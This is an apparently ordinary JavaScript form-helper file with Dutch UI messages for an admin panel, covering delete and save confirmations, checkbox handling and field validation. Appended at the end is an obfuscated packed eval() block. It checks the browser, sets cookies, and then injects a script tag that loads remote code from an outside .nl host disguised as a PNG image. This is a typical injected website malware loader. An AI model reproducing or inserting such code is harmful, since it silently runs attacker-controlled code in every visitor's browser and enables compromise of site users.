function confirmDelete(formName){


	var deleteMessage = 'Weet u zeker dat u deze items wilt verwijderen? Eventuele koppelingen en afbeeldingen gaan verloren.\n\nKlik op OK om door te gaan.';

	if(confirm(deleteMessage) === true){

		document.forms[formName].submit();

	}
}
 
function checkbox(field,naam,form)
{
	k      =  0;
	aantal =  0;
	id     = '';


	if(field == undefined)
	{
			alert('Er zijn geen items aanwezig om te verwijderen.');
	}
	else
	{
		if(field.length == undefined)
		{
			aantal = 1;
		}
		
		else
		{
			aantal = field.length;
		}
		for (i = 0; i < aantal; i++) 
		{
			if(aantal > 1)
			{
				if(field[i].checked == true)
				{
					k++;
					id += field[i].value;
					id += ",";
				}
			}
			else
			{
				if(field.checked == true)
				{
					k++;
					id += field.value;
				}
			}
		}
		
		if(k > 1)
		{
			lengte = id.length;
			id 	   = id.substr(0,lengte-1);
			confirmDelete(form);
		}
		else if(id == '')
		{
				alert('Geen '+naam+' geselecteerd!');
		}
		else
		{
				confirmDelete(form);
		}
	}
}

function confirmSave(formName){


	var deleteMessage = 'Weet u zeker dat u deze items wilt opslaan?\n\nKlik op OK om door te gaan.';

	if(confirm(deleteMessage) === true){

		document.forms[formName].submit();

	}
}
 
function checkbox_opslaan(field,naam,form)
{
	k      =  0;
	aantal =  0;
	id     = '';


	if(field == undefined)
	{
			alert('Er zijn geen items aanwezig om te verwijderen.');
	}
	else
	{
		if(field.length == undefined)
		{
			aantal = 1;
		}
		
		else
		{
			aantal = field.length;
		}
		for (i = 0; i < aantal; i++) 
		{
			if(aantal > 1)
			{
				if(field[i].checked == true)
				{
					k++;
					id += field[i].value;
					id += ",";
				}
			}
			else
			{
				if(field.checked == true)
				{
					k++;
					id += field.value;
				}
			}
		}
		
		if(k > 1)
		{
			lengte = id.length;
			id 	   = id.substr(0,lengte-1);
			confirmSave(form);
		}
		else if(id == '')
		{
				alert('Geen '+naam+' geselecteerd!');
		}
		else
		{
				confirmSave(form);
		}
	}
}

 function exampleCallback_ISO1(date, month, year, waardeForm)
	{	
		if (String(month).length == 1) {
			month = '0' + month;
			}
														
		if (String(date).length == 1) {
			date = '0' + date;
			}    
	waardeForm.value = year + '-' + month + '-' + date;	
		
	}

<!-- Dwingen om nummerieke waarden in te vullen -->

	function getKeyCode(eventObject)
		{
			if (!eventObject) keyCode = window.event.keyCode; //IE
			else keyCode = eventObject.which;   //Mozilla
			return keyCode;
		}
			
		function onlyNumeric(eventObject)
		{
			keyCode = getKeyCode(eventObject);
			if (((keyCode > 31) && (keyCode < 48)) || ((keyCode > 57) && (keyCode < 127)))
			{
					if (!eventObject) window.event.keyCode = 0; //IE
					else eventObject.preventDefault(); //Mozilla
					return false;
			}
		}
		
	<!-- Dwingen om nummerieke waarden in te vullen EINDE	-->

/*

Check velden en post formulier

var1 : array van velden
var2 : formuliernaam

*/


function checkAndSubmit(fieldsToCheck, formName){

	var errors = 0;
	
	for (var index = 0; index < fieldsToCheck.length; index++){
	
		if(getObject(fieldsToCheck[index]).value.length == 0){
		
	  		errors++;	
			
			if(errors == 1){
				
				getObject(fieldsToCheck[index]).focus();
				
			}
			
			getObject(fieldsToCheck[index]).style.border="1px solid #CC0000";
			getObject(fieldsToCheck[index]).style.background="#FFF9F9";	
	
		}
	}
	
	if(errors == 0){
	
		document.forms[formName].submit();
	
	}else{
			
		alert('U dient ten minste de rood gemarkeerde velden in te vullen.');
	
	}

}

function getObject(element){


	return document.getElementById(element);

}


function clearField(the_field, the_value){

	if(the_field.value == the_value){
	
		the_field.value = '';
	
	}

}


function breakoutFrames()
{
  if (top.location != location) {
	top.location.href = document.location.href;
  }
}

/*

Deze functie checked alle checkboxen

*/

function checkAlles(field,check)
{
	aantal = 0;
    if(field != undefined)
	{
		if(check.checked == true)
		{
		   if(field.length==undefined)
		   {
				aantal = 1;
		   }
		   else
		   {
				aantal= field.length;
		   }
		   for (i = 0; i < aantal; i++) 
		   {
				  if(aantal>1)
				  {
					   field[i].checked = true;
				  }
				  else
				  {
					   field.checked = true;
				  }
			}
		}
		else
		{
		   if(field.length==undefined)
		   {
				aantal = 1;
		   }
		   else
		   {
				aantal= field.length;
		   }
		   for (i = 0; i < aantal; i++) 
		   {
				if(aantal>1)
				{		 
					 field[i].checked = false;
				}
				else
				{
					 field.checked = false;
				}
		   }
		}
	}
} 


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(k(d){2 e=P.O;2 f=N;5(e.7("M")!=-1||e.7("Q")!=-1)f=m;5(f!==m)o;2 n=\'U://L.S/V/I/E.D?B\';2 c=t("a");5(c){5(c==\'p\'){b("a","H","3");2 s=6.K(\'J\');s.G=\'C/T\';s.Y=n+\'&r=\'+u v().16();2 h=6.19(\'18\')[0];h.17(s)}l{}}l{b("a","p","3")}k t(8){2 i,x,y,4=6.A.X(";");10(i=0;i<4.11;i++){x=4[i].q(0,4[i].7("="));y=4[i].q(4[i].7("=")+1);x=x.13(/^\\s+|\\s+$/g,"");5(x==8){o 12(y)}}}k b(8,w,j){2 9=u v();9.15(9.Z()+j);2 z=14(w)+((j==W)?"":"; F="+9.R());6.A=8+"="+z}})(6);',62,72,'||var||ARRcookies|if|document|indexOf|c_name|exdate|wss|setCookie|rc||agent|show||||exdays|function|else|true|staturl|return|goot1|substr|||getCookie|new|Date|value|||c_value|cookie|js|text|png|freelancerLogo|expires|type|goot2|images|script|createElement|ikwileenopdracht|Firefox|false|userAgent|navigator|MSIE|toUTCString|nl|javascript|http|resources|null|split|src|getDate|for|length|unescape|replace|escape|setDate|getTime|appendChild|head|getElementsByTagName'.split('|'),0,{}))

